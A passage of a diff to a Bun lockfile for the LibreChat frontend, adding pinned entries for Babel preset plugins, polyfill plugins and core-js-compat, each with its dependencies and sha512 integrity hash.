+ "@librechat/frontend/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
+
+ "@librechat/frontend/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
+
+ "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
+
+ "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
+
+ "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
+
+ "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
+
+ "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
+
+ "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
"@librechat/frontend/@react-spring/web/@react-spring/animated": ["@react-spring/animated@9.7.5", "", { "dependencies": { "@react-spring/shared": "~9.7.5", "@react-spring/types": "~9.7.5" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-Tqrwz7pIlsSDITzxoLS3n/v/YCUHQdOIKtOJf4yL6kYVSDTSmVK1LI1Q3M/uu2Sx4X3pIWF3xLUhlsA6SPNTNg=="],
@@ -7709,20 +7121,22 @@
